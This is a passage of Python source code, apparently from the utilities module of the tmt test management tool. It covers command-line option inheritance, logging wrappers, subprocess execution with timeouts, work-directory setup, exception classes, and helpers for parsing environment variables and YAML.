     return self._context_object.fmf_context\n\n    def opt(self, option: str, default: Optional[Any] = None) -> Any:\n        \"\"\"\n        Get an option from the command line options\n\n        Checks also parent options. For flags (boolean values) parent's\n        True wins over child's False (e.g. run --quiet enables quiet\n        mode for all included plans and steps).\n\n        For options that can be used multiple times, the child overrides\n        the parent if it was defined (e.g. run -av provision -vvv runs\n        all steps except for provision in mildly verbose mode, provision\n        is run with the most verbosity).\n\n        Environment variables override command line options.\n        \"\"\"\n        # Translate dashes to underscores to match click's conversion\n        option = option.replace('-', '_')\n        # Check the environment first\n        # TODO: moved to log.py\n        if option == 'debug':\n            try:\n                debug = os.environ['TMT_DEBUG']\n                return int(debug)\n            except ValueError:\n                raise GeneralError(\n                    f\"Invalid debug level '{debug}', use an integer.\")\n            except KeyError:\n                pass\n\n        # Get local option\n        local = self._options.get(option, default)\n        # Check parent option\n        parent = None\n        if self.parent:\n            parent = self.parent.opt(option)\n        # Special handling for special flags (parent's yes always wins)\n        if option in ['quiet', 'force', 'dry']:\n            return parent if parent else local\n        # Special handling for counting options (child overrides the\n        # parent if it was defined)\n        elif option in ['debug', 'verbose']:\n            winner = local if local else parent\n            if winner is None:\n                winner = 0\n            return winner\n        else:\n            return parent if parent is not None else local\n\n    def _level(self) -> int:\n        \"\"\" Hierarchy level \"\"\"\n        if self.parent is None:\n            return -1\n        else:\n            return self.parent._level() + self._relative_indent\n\n    def _indent(\n            self,\n            key: str,\n            value: Optional[str] = None,\n            color: Optional[str] = None,\n            shift: int = 0) -> str:\n        \"\"\" Indent message according to the object hierarchy \"\"\"\n\n        return tmt.log.indent(\n            key,\n            value=value,\n            color=color,\n            level=self._level() + shift)\n\n    def print(\n            self,\n            key: str,\n            value: Optional[str] = None,\n            color: Optional[str] = None,\n            shift: int = 0,\n            err: bool = False) -> None:\n        \"\"\" Print a message regardless the quiet mode \"\"\"\n        self._logger.print(key, value=value, color=color, shift=shift)\n\n    def info(\n            self,\n            key: str,\n            value: Optional[str] = None,\n            color: Optional[str] = None,\n            shift: int = 0,\n            err: bool = False) -> None:\n        \"\"\" Show a message unless in quiet mode \"\"\"\n        self._logger.info(key, value=value, color=color, shift=shift)\n\n    def verbose(\n            self,\n            key: str,\n            value: Optional[str] = None,\n            color: Optional[str] = None,\n            shift: int = 0,\n            level: int = 1,\n            err: bool = False) -> None:\n        \"\"\"\n        Show message if in requested verbose mode level\n\n        In quiet mode verbose messages are not displayed.\n        \"\"\"\n        self._logger.verbose(key, value=value, color=color, shift=shift, level=level)\n\n    def debug(\n            self,\n            key: str,\n            value: Optional[str] = None,\n            color: Optional[str] = None,\n            shift: int = 0,\n            level: int = 1,\n            err: bool = False) -> None:\n        \"\"\"\n        Show message if in requested debug mode level\n\n        In quiet mode debug messages are not displayed.\n        \"\"\"\n        self._logger.debug(key, value=value, color=color, shift=shift, level=level)\n\n    def warn(self, message: str, shift: int = 0) -> None:\n        \"\"\" Show a yellow warning message on info level, send to stderr \"\"\"\n        self._logger.warn(message, shift=shift)\n\n    def fail(self, message: str, shift: int = 0) -> None:\n        \"\"\" Show a red failure message on info level, send to stderr \"\"\"\n        self._logger.fail(message, shift=shift)\n\n    def _command_verbose_logger(\n            self,\n            key: str,\n            value: Optional[str] = None,\n            color: Optional[str] = None,\n            shift: int = 1,\n            level: int = 3,\n            err: bool = False) -> None:\n        \"\"\"\n        Reports the executed command in verbose mode.\n\n        This is a tailored verbose() function used for command logging where\n        default parameters are adjusted (to preserve the function type).\n        \"\"\"\n        self.verbose(key=key, value=value, color=color, shift=shift, level=level, err=err)\n\n    def _run(self,\n             command: Command,\n             cwd: Optional[Path],\n             shell: bool,\n             env: Optional[EnvironmentType],\n             log: Optional[BaseLoggerFnType],\n             join: bool = False,\n             interactive: bool = False,\n             timeout: Optional[int] = None) -> CommandOutput:\n        \"\"\"\n        Run command, capture the output\n\n        By default stdout and stderr are captured separately.\n        Use join=True to merge stderr into stdout.\n        Use timeout=<seconds> to finish process after given time\n        \"\"\"\n        # By default command ouput is logged using debug\n        if not log:\n            log = self.debug\n        # Prepare the environment\n        if env:\n            if not isinstance(env, dict):\n                raise GeneralError(f\"Invalid environment '{env}'.\")\n            # Do not modify current process environment\n            environment = os.environ.copy()\n            environment.update(env)\n        else:\n            environment = None\n        self.debug('environment', pprint.pformat(environment), level=4)\n\n        # Set only for shell=True as it would affect command\n        executable = DEFAULT_SHELL if shell else None\n\n        # Run the command in interactive mode if requested\n        if interactive:\n            try:\n                subprocess.run(\n                    command.to_popen(),\n                    cwd=cwd, shell=shell, env=environment, check=True,\n                    executable=executable)\n            except subprocess.CalledProcessError:\n                # Interactive mode can return non-zero if the last command\n                # failed, ignore errors here\n                pass\n            finally:\n                return CommandOutput(None, None)\n\n        # Create the process\n        try:\n            process = subprocess.Popen(\n                command.to_popen(),\n                cwd=cwd, shell=shell, env=environment,\n                start_new_session=True,\n                stdin=subprocess.DEVNULL, stdout=subprocess.PIPE,\n                stderr=subprocess.STDOUT if join else subprocess.PIPE,\n                executable=executable)\n        except FileNotFoundError as error:\n            raise RunError(\n                f\"File '{error.filename}' not found.\",\n                command,\n                127,\n                caller=self)\n\n        stdout_thread = StreamLogger(\n            process.stdout,\n            log_header='out',\n            logger=log,\n            click_context=click.get_current_context(silent=True))\n        stderr_thread = stdout_thread\n        if not join:\n            stderr_thread = StreamLogger(\n                process.stderr,\n                log_header='err',\n                logger=log,\n                click_context=click.get_current_context(silent=True))\n        stdout_thread.start()\n        if not join:\n            stderr_thread.start()\n\n        # A bit of logging helpers for debugging duration behavior\n        start_timestamp = time.monotonic()\n\n        def _event_timestamp() -> str:\n            return f'{time.monotonic() - start_timestamp:.4}'\n\n        def log_event(msg: str) -> None:\n            self.debug('Command event', f'{_event_timestamp()} {msg}', level=4)\n\n        try:\n            process.wait(timeout=timeout)\n        except subprocess.TimeoutExpired:\n            log_event(f'duration \"{timeout}\" exceeded')\n\n            os.killpg(os.getpgid(process.pid), signal.SIGKILL)\n            log_event('sent SIGKILL signal')\n\n            process.wait()\n            log_event('kill confirmed')\n\n            process.returncode = PROCESS_TIMEOUT\n\n        log_event('waiting for stream readers')\n\n        stdout_thread.join()\n        log_event('stdout reader done')\n\n        if not join:\n            stderr_thread.join()\n            log_event('stderr reader done')\n\n        # Handle the exit code, return output\n        if process.returncode != 0:\n            raise RunError(\n                message=f\"Command returned '{process.returncode}'.\",\n                command=command,\n                returncode=process.returncode,\n                stdout=stdout_thread.get_output(),\n                stderr=stderr_thread.get_output(),\n                caller=self)\n        if join:\n            return CommandOutput(\n                stdout_thread.get_output(), None)\n        else:\n            return CommandOutput(\n                stdout_thread.get_output(), stderr_thread.get_output())\n\n    def run(self,\n            command: Command,\n            friendly_command: Optional[str] = None,\n            silent: bool = False,\n            message: Optional[str] = None,\n            cwd: Optional[Path] = None,\n            dry: bool = False,\n            shell: bool = False,\n            env: Optional[EnvironmentType] = None,\n            interactive: bool = False,\n            join: bool = False,\n            log: Optional[BaseLoggerFnType] = None,\n            timeout: Optional[int] = None) -> CommandOutput:\n        \"\"\"\n        Run command, give message, handle errors\n\n        Command is run in the workdir be default.\n        In dry mode commands are not executed unless dry=True.\n        Environment is updated with variables from the 'env' dictionary.\n\n        Output is logged using self.debug() or custom 'log' function.\n        A user friendly command string 'friendly_command' will be shown,\n        if provided, at the beginning of the command output.\n\n        Returns named tuple CommandOutput.\n        \"\"\"\n\n        # A bit of logging - command, default message, error message for later...\n        # for debug output we want to rather print actual command rather than\n        # the provided printable command\n        if isinstance(command, (list, tuple)):\n            full_command_string = ' '.join(shlex.quote(s) for s in command)\n        else:\n            full_command_string = command\n\n        if message:\n            self.verbose(message, level=2)\n\n        # Add full command to the debug log, short version to verbose/custom log\n        self.debug(f'Run command: {full_command_string}', level=2)\n        if not silent and friendly_command:\n            logger = log or self.verbose\n            logger(\"cmd\", friendly_command, color=\"yellow\", level=2)\n\n        # Nothing more to do in dry mode (unless requested)\n        if self.opt('dry') and not dry:\n            return CommandOutput(None, None)\n\n        # Run the command, handle the exit code\n        cwd = cwd or self.workdir\n\n        # Fail nicely if the working directory does not exist\n        if cwd and not cwd.exists():\n            raise GeneralError(\n                f\"The working directory '{cwd}' does not exist.\")\n\n        try:\n            return self._run(\n                command, cwd, shell, env, log if not silent else None, join, interactive, timeout)\n        except RunError as error:\n            self.debug(error.message, level=3)\n            message = f\"Failed to run command: {friendly_command} Reason: {error.message}\"\n            raise RunError(\n                message, error.command, error.returncode,\n                error.stdout, error.stderr, caller=self)\n\n    def read(self, path: Path, level: int = 2) -> str:\n        \"\"\" Read a file from the workdir \"\"\"\n        if self.workdir:\n            path = self.workdir / path\n        self.debug(f\"Read file '{path}'.\", level=level)\n        try:\n            with open(path, encoding='utf-8', errors='replace') as data:\n                return data.read()\n        except OSError as error:\n            raise FileError(f\"Failed to read '{path}'.\\n{error}\")\n\n    def write(\n            self,\n            path: Path,\n            data: str,\n            mode: str = 'w',\n            level: int = 2) -> None:\n        \"\"\" Write a file to the workdir \"\"\"\n        if self.workdir:\n            path = self.workdir / path\n        action = 'Append to' if mode == 'a' else 'Write'\n        self.debug(f\"{action} file '{path}'.\", level=level)\n        # Dry mode\n        if self.opt('dry'):\n            return\n        try:\n            with open(path, mode, encoding='utf-8', errors='replace') as file:\n                file.write(data)\n        except OSError as error:\n            raise FileError(f\"Failed to write '{path}'.\\n{error}\")\n\n    def _workdir_init(self, id_: WorkdirArgumentType = None) -> None:\n        \"\"\"\n        Initialize the work directory\n\n        The 'workdir_root' variable is initialized from TMT_WORKDIR_ROOT\n        environment variable, if present, otherwise defaults to WORKDIR_ROOT.\n\n        If 'id' is a path, that directory is used instead. Otherwise a\n        new workdir is created under the 'workdir_root' directory.\n        \"\"\"\n\n        if 'TMT_WORKDIR_ROOT' in os.environ:\n            workdir_root = Path(os.environ['TMT_WORKDIR_ROOT'])\n        else:\n            workdir_root = WORKDIR_ROOT\n\n        # Prepare the workdir name from given id or path\n        if isinstance(id_, Path):\n            # Use provided directory if full path given\n            if '/' in str(id_):\n                workdir = id_\n            # Construct directory name under workdir root\n            else:\n                workdir = workdir_root / id_\n            # Resolve any relative paths\n            workdir = workdir.resolve()\n        # Weird workdir id\n        elif id_ is not None:\n            raise GeneralError(\n                f\"Invalid workdir '{id_}', expected a path or None.\")\n\n        def _check_or_create_workdir_root_with_perms() -> None:\n            \"\"\" If created workdir_root has to be 1777 for multi-user\"\"\"\n            if not workdir_root.is_dir():\n                try:\n                    workdir_root.mkdir(exist_ok=True, parents=True)\n                    workdir_root.chmod(0o1777)\n                except OSError as error:\n                    raise FileError(f\"Failed to prepare workdir '{workdir_root}': {error}\")\n\n        if id_ is None:\n            # Prepare workdir_root first\n            _check_or_create_workdir_root_with_perms()\n\n            # Generated unique id or fail, has to be atomic call\n            for id_bit in range(1, WORKDIR_MAX + 1):\n                directory = 'run-{}'.format(str(id_bit).rjust(3, '0'))\n                workdir = workdir_root / directory\n                try:\n                    # Call is atomic, no race possible\n                    workdir.mkdir(parents=True)\n                    break\n                except FileExistsError:\n                    pass\n            else:\n                raise GeneralError(\n                    f\"Workdir full. Cleanup the '{workdir_root}' directory.\")\n        else:\n            # Cleanup possible old workdir if called with --scratch\n            if self.opt('scratch'):\n                self._workdir_cleanup(workdir)\n\n            if workdir.is_relative_to(workdir_root):\n                _check_or_create_workdir_root_with_perms()\n\n            # Create the workdir\n            create_directory(workdir, 'workdir', quiet=True)\n\n        # TODO: chicken and egg problem: when `Common` is instantiated, the workdir\n        # path might be already known, but it's often not created yet. Therefore\n        # a logfile handler cannot be attached to the given logger.\n        # This is a problem, as we modify a given logger, and we may modify the\n        # incorrect logger, and we may modify 3rd party app logger. The solution\n        # to our little logging problem would probably be related to refactoring\n        # of workdir creation some day in the future.\n        self._logger.add_logfile_handler(workdir / tmt.log.LOG_FILENAME)\n        self._workdir = workdir\n\n    def _workdir_name(self) -> Optional[Path]:\n        \"\"\" Construct work directory name from parent workdir \"\"\"\n        # Need the parent workdir\n        if self.parent is None or self.parent.workdir is None:\n            return None\n        # Join parent name with self\n        return self.parent.workdir / self.safe_name.lstrip(\"/\")\n\n    def _workdir_load(self, workdir: WorkdirArgumentType) -> None:\n        \"\"\"\n        Create the given workdir if it is not None\n\n        If workdir=True, the directory name is automatically generated.\n        \"\"\"\n        if workdir is True:\n            self._workdir_init()\n        elif workdir is not None:\n            self._workdir_init(workdir)\n\n    def _workdir_cleanup(self, path: Optional[Path] = None) -> None:\n        \"\"\" Clean up the work directory \"\"\"\n        directory = path or self._workdir_name()\n        if directory is not None:\n            if directory.is_dir():\n                self.debug(f\"Clean up workdir '{directory}'.\", level=2)\n                shutil.rmtree(directory)\n        self._workdir = None\n\n    @property\n    def workdir(self) -> Optional[Path]:\n        \"\"\" Get the workdir, create if does not exist \"\"\"\n        if self._workdir is None:\n            self._workdir = self._workdir_name()\n            # Workdir not enabled, even parent does not have one\n            if self._workdir is None:\n                return None\n            # Create a child workdir under the parent workdir\n            create_directory(self._workdir, 'workdir', quiet=True)\n\n        return self._workdir\n\n# ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n#  Exceptions\n# ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\n\nclass GeneralError(Exception):\n    \"\"\" General error \"\"\"\n\n    def __init__(self, message: str, *args: Any, **kwargs: Any) -> None:\n        super().__init__(message, *args, **kwargs)\n\n        self.message = message\n\n\nclass GitUrlError(GeneralError):\n    \"\"\" Remote git url is not reachable \"\"\"\n\n\nclass FileError(GeneralError):\n    \"\"\" File operation error \"\"\"\n\n\nclass RunError(GeneralError):\n    \"\"\" Command execution error \"\"\"\n\n    def __init__(\n            self,\n            message: str,\n            command: Command,\n            returncode: int,\n            stdout: Optional[str] = None,\n            stderr: Optional[str] = None,\n            caller: Optional[Common] = None,\n            *args: Any,\n            **kwargs: Any) -> None:\n        super().__init__(message, *args, **kwargs)\n        self.command = command\n        self.returncode = returncode\n        self.stdout = stdout\n        self.stderr = stderr\n        # Store instance of caller to get additional details\n        # in post processing (e.g. verbose level)\n        self.caller = caller\n\n\nclass MetadataError(GeneralError):\n    \"\"\" General metadata error \"\"\"\n\n\nclass SpecificationError(MetadataError):\n    \"\"\" Metadata specification error \"\"\"\n\n    def __init__(\n            self,\n            message: str,\n            validation_errors: Optional[List[Tuple[jsonschema.ValidationError, str]]] = None,\n            *args: Any,\n            **kwargs: Any) -> None:\n        super().__init__(message, *args, **kwargs)\n        self.validation_errors = validation_errors\n\n\nclass ConvertError(MetadataError):\n    \"\"\" Metadata conversion error \"\"\"\n\n\nclass StructuredFieldError(GeneralError):\n    \"\"\" StructuredField parsing error \"\"\"\n\n\nclass WaitingIncomplete(GeneralError):\n    \"\"\" Waiting incomplete \"\"\"\n\n    def __init__(self) -> None:\n        super().__init__('Waiting incomplete')\n\n\nclass WaitingTimedOutError(GeneralError):\n    \"\"\" Waiting ran out of time \"\"\"\n\n    def __init__(\n            self,\n            check: 'WaitCheckType[T]',\n            timeout: datetime.timedelta,\n            check_success: bool = False) -> None:\n        if check_success:\n            super().__init__(\n                f\"Waiting for condition '{check.__name__}' succeeded but took too much time \"\n                f\"after waiting {timeout}.\"\n                )\n\n        else:\n            super().__init__(\n                f\"Waiting for condition '{check.__name__}' timed out \"\n                f\"after waiting {timeout}.\"\n                )\n\n        self.check = check\n        self.timeout = timeout\n        self.check_success = check_success\n\n\n# Step exceptions\n\n\nclass DiscoverError(GeneralError):\n    \"\"\" Discover step error \"\"\"\n\n\nclass ProvisionError(GeneralError):\n    \"\"\" Provision step error \"\"\"\n\n\nclass PrepareError(GeneralError):\n    \"\"\" Prepare step error \"\"\"\n\n\nclass ExecuteError(GeneralError):\n    \"\"\" Execute step error \"\"\"\n\n\nclass RebootTimeoutError(ExecuteError):\n    \"\"\" Reboot failed due to a timeout \"\"\"\n\n\nclass ReportError(GeneralError):\n    \"\"\" Report step error \"\"\"\n\n\nclass FinishError(GeneralError):\n    \"\"\" Finish step error \"\"\"\n\n\n# ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n#  Utilities\n# ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\ndef quote(string: str) -> str:\n    \"\"\" Surround a string with double quotes \"\"\"\n    return f'\"{string}\"'\n\n\ndef ascii(text: Any) -> bytes:\n    \"\"\" Transliterate special unicode characters into pure ascii \"\"\"\n    if not isinstance(text, str):\n        text = str(text)\n    return unicodedata.normalize('NFKD', text).encode('ascii', 'ignore')\n\n\ndef listify(\n        data: Union[Tuple[Any, ...], List[Any], str, Dict[Any, Any]],\n        split: bool = False,\n        keys: Optional[List[str]] = None) -> Union[List[Any], Dict[Any, Any]]:\n    \"\"\"\n    Ensure that variable is a list, convert if necessary\n    For dictionaries check all items or only those with provided keys.\n    Also split strings on white-space/comma if split=True.\n    \"\"\"\n    separator = re.compile(r'[\\s,]+')\n    if isinstance(data, tuple):\n        data = list(data)\n    if isinstance(data, list):\n        return fmf.utils.split(data, separator) if split else data\n    if isinstance(data, str):\n        return fmf.utils.split(data, separator) if split else [data]\n    if isinstance(data, dict):\n        for key in keys or data:\n            if key in data:\n                data[key] = listify(data[key], split=split)\n        return data\n    return [data]\n\n\ndef copytree(\n        src: Path,\n        dst: Path,\n        symlinks: bool = False,\n        dirs_exist_ok: bool = False,\n        ) -> Path:\n    \"\"\" Similar to shutil.copytree but with dirs_exist_ok for Python < 3.8 \"\"\"\n    # No need to reimplement for newer python or if argument is not requested\n    if not dirs_exist_ok or sys.version_info >= (3, 8):\n        return cast(\n            Path,\n            shutil.copytree(src=src, dst=dst, symlinks=symlinks, dirs_exist_ok=dirs_exist_ok))\n    # Choice was to either copy python implementation and change ONE line\n    # or use rsync (or cp with shell)\n    # We need to copy CONTENT of src into dst\n    # so src has to end with / and dst cannot\n    rsync_src, rsync_dst = str(src), str(dst)\n    if rsync_src[-1] != '/':\n        rsync_src += '/'\n    if rsync_dst[-1] == '/':\n        rsync_dst = rsync_dst[:-1]\n\n    command = [\"rsync\", \"-r\"]\n    if symlinks:\n        command.append('-l')\n    command.extend([rsync_src, rsync_dst])\n\n    log.debug(f\"Calling command '{command}'.\")\n    outcome = subprocess.run(\n        command,\n        stdin=subprocess.DEVNULL, stdout=subprocess.PIPE,\n        stderr=subprocess.STDOUT, universal_newlines=True)\n\n    if outcome.returncode != 0:\n        raise shutil.Error(\n            [f\"Unable to copy '{src}' into '{dst}' using rsync.\",\n             outcome.returncode, outcome.stdout])\n    return dst\n\n\n# These two are helpers for shell_to_dict and environment_to_dict -\n# there is some overlap of their functionality.\ndef _add_simple_var(result: EnvironmentType, var: str) -> None:\n    \"\"\"\n    Add a single NAME=VALUE pair into result dictionary\n\n    Parse given string VAR to its constituents, NAME and VALUE, and add\n    them to the provided dict.\n    \"\"\"\n\n    matched = re.match(\"([^=]+)=(.*)\", var)\n    if not matched:\n        raise GeneralError(f\"Invalid variable specification '{var}'.\")\n    name, value = matched.groups()\n    result[name] = value\n\n\ndef _add_file_vars(\n        *,\n        result: EnvironmentType,\n        filepath: str,\n        logger: tmt.log.Logger) -> None:\n    \"\"\"\n    Add variables loaded from file into the result dictionary\n\n    Load mapping from a YAML file 'filepath', and add its content -\n    \"name: value\" entries - to the provided dict.\n    \"\"\"\n\n    if not filepath[1:]:\n        raise GeneralError(\n            f\"Invalid variable file specification '{filepath}'.\")\n\n    try:\n        with open(filepath[1:], 'r') as file:\n            # Handle empty file as an empty environment\n            content = file.read()\n            if not content:\n                logger.warn(f\"Empty environment file '{filepath}'.\")\n                return\n            file_vars = yaml_to_dict(content)\n    except Exception as exception:\n        raise GeneralError(\n            f\"Failed to load variables from '{filepath}': {exception}\")\n\n    for name, value in file_vars.items():\n        result[name] = str(value)\n\n\ndef shell_to_dict(variables: Union[str, List[str]]) -> EnvironmentType:\n    \"\"\"\n    Convert shell-like variables into a dictionary\n\n    Accepts single string or list of strings. Allowed forms are:\n    'X=1'\n    'X=1 Y=2 Z=3'\n    ['X=1', 'Y=2', 'Z=3']\n    ['X=1 Y=2 Z=3', 'A=1 B=2 C=3']\n    'TXT=\"Some text with spaces in it\"'\n    \"\"\"\n    if not isinstance(variables, (list, tuple)):\n        variables = [variables]\n    result: EnvironmentType = dict()\n    for variable in variables:\n        if variable is None:\n            continue\n        for var in shlex.split(variable):\n            _add_simple_var(result, var)\n\n    return result\n\n\ndef environment_to_dict(\n        *,\n        variables: Union[str, List[str]],\n        logger: tmt.log.Logger) -> EnvironmentType:\n    \"\"\"\n    Convert environment variables into a dictionary\n\n    Variables may be specified in the following two ways:\n\n    * NAME=VALUE pairs\n    * @foo.yaml\n\n    If \"variable\" starts with \"@\" character, it is treated as a path to\n    a YAML file that contains \"key: value\" pairs which are then\n    transparently loaded and added to the final dictionary.\n\n    In general, allowed inputs are the same as in \"shell_to_dict\"\n    function, with the addition of \"@foo.yaml\" form:\n    'X=1'\n    'X=1 Y=2 Z=3'\n    ['X=1', 'Y=2', 'Z=3']\n    ['X=1 Y=2 Z=3', 'A=1 B=2 C=3']\n    'TXT=\"Some text with spaces in it\"'\n    @foo.yaml\n    @../../bar.yaml\n    \"\"\"\n\n    if not isinstance(variables, (list, tuple)):\n        variables = [variables]\n    result: EnvironmentType = dict()\n\n    for variable in variables:\n        if variable is None:\n            continue\n        for var in shlex.split(variable):\n            if var.startswith('@'):\n                _add_file_vars(result=result, filepath=var, logger=logger)\n            else:\n                _add_simple_var(result, var)\n\n    return result\n\n\n@lru_cache(maxsize=None)\ndef environment_file_to_dict(\n        *,\n        filename: str,\n        root: Optional[Path] = None,\n        logger: tmt.log.Logger) -> EnvironmentType:\n    \"\"\"\n    Read environment variables from the given file.\n\n    File should be in YAML format (``.yaml`` or ``.yml`` suffixes), or in dotenv format.\n\n    .. code-block:: bash\n       :caption: dotenv file example\n\n       A=B\n       C=D\n\n    .. code-block:: yaml\n       :caption: YAML file example\n\n       A: B\n       C: D\n\n    Path to each file should be relative to the metadata tree root.\n\n    .. note::\n\n       For loading environment variables from multiple files, see\n       :py:func:`environment_files_to_dict`.\n    \"\"\"\n\n    root = root or Path.cwd()\n    filename = filename.strip()\n    environment_filepath: Optional[Path] = None\n\n    # Fetch a remote file\n    if filename.startswith(\"http\"):\n        # Create retry session for longer retries, see #1229\n        session = retry_session.create(\n            retries=ENVFILE_RETRY_SESSION_RETRIES,\n            backoff_factor=ENVFILE_RETRY_SESSION_BACKOFF_FACTOR,\n            allowed_methods=('GET',),\n            status_forcelist=(\n                429,  # Too Many Requests\n                500,  # Internal Server Error\n                502,  # Bad Gateway\n                503,  # Service Unavailable\n                504   # Gateway Timeout\n                ),\n            )\n        try:\n            response = session.get(filename)\n            response.raise_for_status()\n            content = response.text\n        except requests.RequestException as error:\n            raise GeneralError(\n                f\"Failed to fetch the environment file from '{filename}'. \"\n                f\"The problem was: '{error}'\")\n\n    # Read a local file\n    else:\n        # Ensure we don't escape from the metadata tree root\n\n        root = root.resolve()\n        environment_filepath = root.joinpath(filename).resolve()\n\n        if not environment_filepath.is_relative_to(root):\n            raise GeneralError(\n                f\"The 'environment-file' path '{environment_filepath}' is outside \"\n                f\"of the metadata tree root '{root}'.\")\n        if not environment_filepath.is_file():\n            raise GeneralError(f\"File '{environment_filepath}' doesn't exist.\")\n\n        content = environment_filepath.read_text()\n\n    # Parse yaml file\n    if os.path.splitext(filename)[1].lower() in ('.yaml', '.yml'):\n        environment = parse_yaml(content)\n\n    else:\n        try:\n            environment = parse_dotenv(content)\n\n        except ValueError:\n            raise GeneralError(\n                f\"Failed to extract variables from environment file \"\n                f\"'{environment_filepath or filename}'. Ensure it has the proper format \"\n                f\"(i.e. A=B).\")\n\n    if not environment:\n        logger.warn(f\"Empty environment file '{filename}'.\")\n\n        return {}\n\n    return environment\n\n\ndef environment_files_to_dict(\n        *,\n        filenames: Iterable[str],\n        root: Optional[Path] = None,\n        logger: tmt.log.Logger) -> EnvironmentType:\n    \"\"\"\n    Read environment variables from the given list of files.\n\n    Files should be in YAML format (``.yaml`` or ``.yml`` suffixes), or in dotenv format.\n\n    .. code-block:: bash\n       :caption: dotenv file example\n\n       A=B\n       C=D\n\n    .. code-block:: yaml\n       :caption: YAML file example\n\n       A: B\n       C: D\n\n    Path to each file should be relative to the metadata tree root.\n\n    .. note::\n\n       For loading environment variables from a single file, see\n       :py:func:`environment_file_to_dict`, which is a function\n       ``environment_files_to_dict()`` calls for each file,\n       accumulating data from all input files.\n    \"\"\"\n\n    root = root or Path.cwd()\n\n    result: EnvironmentType = {}\n\n    for filename in filenames:\n        result.update(environment_file_to_dict(filename=filename, root=root, logger=logger))\n\n    return result\n\n\n@contextlib.contextmanager\ndef modify_environ(\n        new_elements: EnvironmentType) -> Generator[None, None, None]:\n    \"\"\" A context manager for os.environ that restores the initial state \"\"\"\n    environ_backup = os.environ.copy()\n    os.environ.clear()\n    os.environ.update(new_elements)\n    try:\n        yield\n    finally:\n        os.environ.clear()\n        os.environ.update(environ_backup)\n\n\ndef context_to_dict(*, context: List[str], logger: tmt.log.Logger) -> FmfContextType:\n    \"\"\"\n    Convert command line context definition into a dictionary\n\n    Does the same as environment_to_dict() plus separates possible\n    comma-separated values into lists. Here's a couple of examples:\n\n    distro=fedora-33 ---> {'distro': ['fedora']}\n    arch=x86_64,ppc64 ---> {'arch': ['x86_64', 'ppc64']}\n    \"\"\"\n    return {\n        key: value.split(',')\n        for key, value in environment_to_dict(variables=context, logger=logger).items()}\n\n\ndef dict_to_yaml(\n        data: Union[Dict[str, Any], List[Any], 'tmt.base._RawFmfId'],\n        width: Optional[int] = None,\n        sort: bool = False,\n        start: bool = False) -> str:\n    \"\"\" Convert dictionary into yaml \"\"\"\n    output = io.StringIO()\n    yaml = YAML()\n    yaml.indent(mapping=4, sequence=4, offset=2)\n    yaml.default_flow_style = False\n    yaml.allow_unicode = True\n    yaml.encoding = 'utf-8'\n    yaml.width = width\n    yaml.explicit_start = start\n\n    # For simpler dumping of well-known classes\n    def _represent_path(representer: Representer, data: Path) -> Any:\n        return representer.represent_scalar('tag:yaml.org,2002:str', str(data))\n\n    yaml.representer.add_representer(pathlib.Path, _represent_path)\n    yaml.representer.add_representer(pathlib.PosixPath, _represent_path)\n    yaml.representer.add_representer(Path, _represent_path)\n\n    # Convert multiline strings\n    scalarstring.walk_tree(data)\n    if sort:\n        # Sort the data https://stackoverflow.com/a/40227545\n        sorted_data = CommentedMap()\n        for key in sorted(data):\n            # ignore[literal-required]: `data` may be either a generic\n            # dictionary, or _RawFmfId which allows only a limited set\n            # of keys. That spooks mypy, but we do not add any keys,\n            # therefore we will not escape TypedDict constraints.\n            sorted_data[key] = data[key]  # type: ignore[literal-required]\n        data = sorted_data\n    yaml.dump(data, output)\n    return output.getvalue()\n\n\nYamlTypType = Literal['rt', 'safe', 'unsafe', 'base']\n\n\ndef yaml_to_dict(data: Any,\n                 yaml_type: Optional[YamlTypType] = None) -> Dict[Any, Any]:\n    \"\"\" Convert yaml into dictionary \"\"\"\n    yaml = YAML(typ=yaml_type)\n    loaded_data = yaml.load(data)\n    if loaded_data is None:\n        return dict()\n    if not isinstance(loaded_data, dict):\n        raise GeneralError(\n            f\"Expected dictionary in yaml data, \"\n            f\"got '{type(loaded_data).__name__}'.\")\n    return loaded_data\n\n\ndef yaml_to_list(data: Any,\n                 yaml_type: Optional[YamlTypType] = 'safe') -> List[Any]:\n    \"\"\" Convert yaml into list \"\"\"\n    yaml = YAML(typ=yaml_type)\n    try:\n        loaded_data = yaml.load(data)\n    except ParserError as error:\n        raise GeneralError(f\"Invalid yaml syntax: {error}\")\n\n    if loaded_data is None:\n        return list()\n    if not isinstance(loaded_data, list):\n        raise GeneralError(\n            f\"Expected list in yaml data, \"\n            f\"got '{type(loaded_data).__name__}'.\")\n    return loaded_data\n\n\ndef key_to_option(key: str) -> str:\n    \"\"\" Convert a key name to corresponding option name \"\"\"\n\n    return key.replace('_', '-')\n\n\ndef option_to_key(option: str) -> str:\n    \"\"\" Convert an option name to corresponding key name \"\"\"\n\n    return option.replace('-', '_')\n\n\n@dataclasses.dataclass\nclass FieldMetadata(Generic[T]):\n    \"\"\"\n    A dataclass metadata container used by our custom dataclass field management.\n\n    Attached to fields defined with :py:func:`field`\n    \"\"\"\n\n    #: CLI option parameters, for lazy option creation.\n    option_args: Optional['FieldCLIOption'] = None\n    option_kwargs: Optional[Dict[str, Any]] = None\n    option_choices: Union[None, Sequence[str], Callable[[], Sequence[str]]] = None\n\n    #: A :py:func:`click.option` decorator defining a corresponding CLI option.\n    _option: Optional['tmt.options.ClickOptionDecoratorType'] = None\n\n    #: A normalization callback to call when loading the value from key source\n    #: (performed by :py:class:`NormalizeKeysMixin`).\n    normalize_callback: Optional['NormalizeCallback[T]'] = None\n\n    # Callbacks for custom serialize/unserialize operations (performed by\n    # :py:class:`SerializableContainer`).\n    serialize_callback: Optional['SerializeCallback[T]'] = None\n    unserialize_callback: Optional['SerializeCallback[T]'] = None\n\n    @property\n    def option(self) -> Optional['tmt.options.ClickOptionDecoratorType']:\n        if self._option is None and self.option_args and self.option_kwargs:\n            if isinstance(self.option_choices, (list, tuple)):\n                self.option_kwargs['type'] = click.Choice(self.option_choices)\n\n            elif callable(self.option_choices):\n                self.option_kwargs['type'] = click.Choice(self.option_choices())\n\n            self._option = click.option(\n                *self.option_args,\n                